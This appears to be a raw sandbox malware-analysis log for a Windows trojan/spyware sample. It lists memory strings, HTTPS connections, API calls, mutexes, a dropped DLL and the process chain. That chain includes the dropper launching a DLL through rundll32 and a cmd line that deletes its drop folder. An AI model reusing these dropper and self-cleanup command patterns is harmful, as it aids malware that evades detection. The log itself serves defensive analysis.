Source: rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298075c
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298077
Source: rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298078b
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807Fb
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807OA
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807P
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807T
Source: rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807crosoft
Source: rundll32.exe, 00000006.00000003.3958954818.00000000058D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807ft
Source: rundll32.exe, 00000006.00000003.3958954818.00000000058D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807ments
Source: rundll32.exe, 00000006.00000003.3958954818.00000000058D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807obat
Source: rundll32.exe, 00000006.00000003.2408879759.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807us
Source: rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807vb
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z
Source: rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z;A
Source: rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zAA
Source: rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zFb
Source: rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zvb
Source: nt11qTrX4f.exe, wlbldvv.exe.0.dr	String found in binary or memory: http://www.1.com
Source: nt11qTrX4f.exe, wlbldvv.exe.0.dr	String found in binary or memory: http://www.1.comhttp://192.168.100.83/a
Source: rundll32.exe, 00000006.00000003.2668821908.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.00000000058CB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4260633290.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696665246.00000000058D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2983769245.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984323444.00000000058D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696574520.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/
Source: rundll32.exe, 00000006.00000003.2696665246.00000000058D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/user
Source: rundll32.exe, 00000006.00000003.2984323444.00000000058D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/and
Source: rundll32.exe, 00000006.00000002.4500790526.00000000058CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/les
Source: rundll32.exe, 00000006.00000003.2696574520.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807UA
Source: rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807vb

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50696
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56159
Source: unknown	Network traffic detected: HTTP traffic on port 56159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50580
Source: unknown	Network traffic detected: HTTP traffic on port 50750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64611
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56848
Source: unknown	Network traffic detected: HTTP traffic on port 59835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56209
Source: unknown	Network traffic detected: HTTP traffic on port 53641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60663
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 63073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62573
Source: unknown	Network traffic detected: HTTP traffic on port 62654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 58435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 56640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64611 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53641
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59630
Source: unknown	Network traffic detected: HTTP traffic on port 51263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56640
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60339
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59997
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50828
Source: unknown	Network traffic detected: HTTP traffic on port 56209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63070
Source: unknown	Network traffic detected: HTTP traffic on port 54695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63067
Source: unknown	Network traffic detected: HTTP traffic on port 53561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62654
Source: unknown	Network traffic detected: HTTP traffic on port 61296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53561
Source: unknown	Network traffic detected: HTTP traffic on port 62573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61296
Source: unknown	Network traffic detected: HTTP traffic on port 56893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64201

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:64611 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:51662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:56209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:58435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:60663 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:62654 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:53024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:61296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:64750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:51311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:54695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:60339 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:63694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:50750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:54436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:56159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:59749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:64201 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:53641 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_1000C160: wsprintfA,DeviceIoControl,

6_2_1000C160

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100049F0 ExitWindowsEx,

6_2_100049F0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10005A10	6_2_10005A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000EB80	6_2_1000EB80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000DB90	6_2_1000DB90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10010400	6_2_10010400
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000F500	6_2_1000F500
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10009640	6_2_10009640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000EF70	6_2_1000EF70

Source: Joe Sandbox View

Dropped File: C:\xrzyhhhnk\uycmiha.dll C7C41689DE030DF0F78F471422FA2A6383B36E77C94E7F6F124A96FEB3E27ED7

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10011A56 appears 46 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10001000 appears 293 times

Source: nt11qTrX4f.exe	Binary or memory string: OriginalFilename vs nt11qTrX4f.exe
Source: nt11qTrX4f.exe, 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWinWord.exeL vs nt11qTrX4f.exe
Source: nt11qTrX4f.exe, 00000000.00000003.2038011415.00000000022DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinWord.exeL vs nt11qTrX4f.exe
Source: nt11qTrX4f.exe, 00000000.00000000.2035169004.0000000000401000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWinWord.exeL vs nt11qTrX4f.exe
Source: nt11qTrX4f.exe	Binary or memory string: OriginalFilenameWinWord.exeL vs nt11qTrX4f.exe

Source: nt11qTrX4f.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/3@54/3

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_1000C230 sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA,

6_2_1000C230

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10004F60 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	6_2_10004F60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10006090 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,	6_2_10006090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10004B90 AdjustTokenPrivileges,	6_2_10004B90

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10004AA0 CreateToolhelp32Snapshot,

6_2_10004AA0

Source: C:\Users\user\Desktop\nt11qTrX4f.exe

Code function: 0_2_004013D0 FindResourceA,LoadResource,SizeofResource,LockResource,wsprintfA,wsprintfA,CreateDirectoryA,Sleep,wsprintfA,CreateFileA,WriteFile,CloseHandle,GetModuleFileNameA,wsprintfA,CreateProcessA,

0_2_004013D0

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\krnaver.com:6520
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\0x5d65r455f
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4164:120:WilError_03
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mkrnaver.com:6520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2360:120:WilError_03

Source: C:\Users\user\Desktop\nt11qTrX4f.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\wlbldvv.exe

Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\xrzyhhhnk\uycmiha.dll",init c:\wlbldvv.exe

Source: nt11qTrX4f.exe

ReversingLabs: Detection: 81%

Source: C:\Users\user\Desktop\nt11qTrX4f.exe

File read: C:\Users\user\Desktop\nt11qTrX4f.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\nt11qTrX4f.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"
Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\wlbldvv.exe c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"
Source: C:\wlbldvv.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\xrzyhhhnk\uycmiha.dll",init c:\wlbldvv.exe
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\xrzyhhhnk\uycmiha.dll",init
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\xrzyhhhnk\uycmiha.dll",init
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\wlbldvv.exe c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"	Jump to behavior
Source: C:\wlbldvv.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\xrzyhhhnk\uycmiha.dll",init c:\wlbldvv.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\wlbldvv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\wlbldvv.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: \??\c:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\.\. source: rundll32.exe, 00000006.00000003.4260244286.0000000000997000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000003.2983769245.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984401135.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984524473.00000000009A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\. source: rundll32.exe, 00000006.00000003.2983769245.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984401135.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984524473.00000000009A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\.* source: rundll32.exe, 00000006.00000003.2408879759.00000000058D5000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

6_2_100051B0

Source: initial sample

Static PE information: section where entry point is pointing to: nsp0

